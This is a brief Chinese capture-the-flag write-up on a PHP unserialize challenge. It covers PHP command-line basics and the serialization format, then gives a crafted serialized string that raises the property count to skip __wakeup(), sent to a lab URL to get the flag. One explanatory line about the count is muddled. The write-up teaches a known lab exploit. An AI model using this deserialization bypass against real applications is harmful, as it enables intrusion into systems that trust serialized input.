1.代码与结果
代码如下:
<?php class xctf{ public $flag='111'; public function __wakeup(){ exit('bad requests'); } } $content = new xctf(); echo serialize($content); ?>
结果如下:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
实验截图:
2.相关姿势点
2.1 PHP 常用命令行
2.11 Linux命令行运行指定php文件
php -f test.php
2.12 直接运行php代码
php -r "phpinfo();"
2.13 交互模式运行PHP
php -a
2.14 PHP脚本作为shell脚本运行
没有权限则切换到root用户 sudo su
echo '#!/usr/bin/php\n<?php var_dump($argv); ?>' > phpscript
注意,我们在该PHP脚本的第一行使用#!/usr/bin/php,就像在shell脚本中那样(/bin/bash)。
第一行的#!/usr/bin/php告诉Linux命令行用 PHP 解释器来解析该脚本文件。
确定phpscript 有可执行权限
chmod u+x phpscript ./phpscript -h --foo array(3) { [0]=> string(11) "./phpscript" [1]=> string(2) "-h" [2]=> string(5) "--foo" }
2.2 php序列化操作解析
由第一部分的结果来解释:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化函数的作用:序列化对象或数组,并返回一个字符串。
各个字符的意义 ---> o表示对象,a表示数组,s表示字符,i表示数字
3. wakeup()漏洞[绕过过滤函数wakeup()]
wakeup()漏洞就是与整个属性个数值有关。
当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会 跳过 wakeup的执行。
也就是2.2代码部分,"xctf"后的 1 ,表示花括号里有两个数据。
根据代码中的?code= 可得知,将得到的序列化字符串赋值给code进行传递。
访问http://111.198.29.45:34517?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}得到flag,如图所示。
来源:https://www.cnblogs.com/Cat3rpillar/p/12149343.html